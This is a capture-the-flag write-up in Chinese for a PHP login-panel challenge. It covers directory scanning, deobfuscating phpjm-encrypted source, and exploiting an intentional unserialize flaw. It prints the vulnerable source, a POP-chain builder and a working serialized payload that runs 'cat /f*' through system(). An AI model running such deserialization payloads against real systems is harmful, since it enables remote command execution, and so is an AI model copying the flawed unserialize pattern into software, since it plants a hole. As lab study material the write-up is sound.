题目:青少年雏形系统
1、打开链接也是一个登入面板
2、尝试了sqlmap没头绪
3、尝试御剑,发现一个www.zip
4、下载打开,有一个php文件打开有一段phpjm混淆加密
5、使用手工解混淆
具体解法链接:奇安信攻防社区-phpjm混淆解密浅谈
解密网站:代码在线运行 - 在线工具
将加密的PHP复制到网站,将eval改成echo,点击运行
然后继续之前的将eval换成echo,然后运行
然后成功还原PHP源码
6、源码如下:
php
<?php
error_reporting(0);
class shi
{
public $next;
public $pass;
public function __toString(){
$this->next::PLZ($this->pass);
}
}
class wo
{
public $sex;
public $age;
public $intention;
public function __destruct(){
echo "Hi Try serialize Me!";
$this->inspect();
}
function inspect(){
if($this->sex=='boy'&&$this->age=='eighteen')
{
echo $this->intention;
}
echo "🙅18岁🈲";
}
}
class Demo
{
public $a;
static function __callStatic($action, $do)
{
global $b;
$b($do[0]);
}
}
$b = $_POST['password'];
$a = $_POST['username'];
@unserialize($a);
if (!isset($b)) {
echo "==================PLZ Input Your Name!==================";
}
if($a=='admin'&&$b=="'k1fuhu's test demo")
{
echo("登录成功");
}
?>
7、根据源码,找出链子
php
<?php
class shi{}
class wo{}
class Demo{}
$c=new Demo();
$b=new shi();
$a=new wo();
$a->sex='boy';
$a->age='eighteen';
$a->intention=$b;
$b->next=$c;
$b->pass='cat /f*';
echo serialize($a);
8、得到序列化的代码:
php
username=O:2:"wo":3:{s:3:"sex";s:3:"boy";s:3:"age";s:8:"eighteen";s:9:"intention";O:3:"shi":2:{s:4:"next";O:4:"Demo":0:{}s:4:"pass";s:7:"cat /f*";}}&password=system
9、得到flag
总结:
1、如果sql注入、弱口令爆破不行,尝试御剑扫目录,会其他收获
2、phpjm混淆解密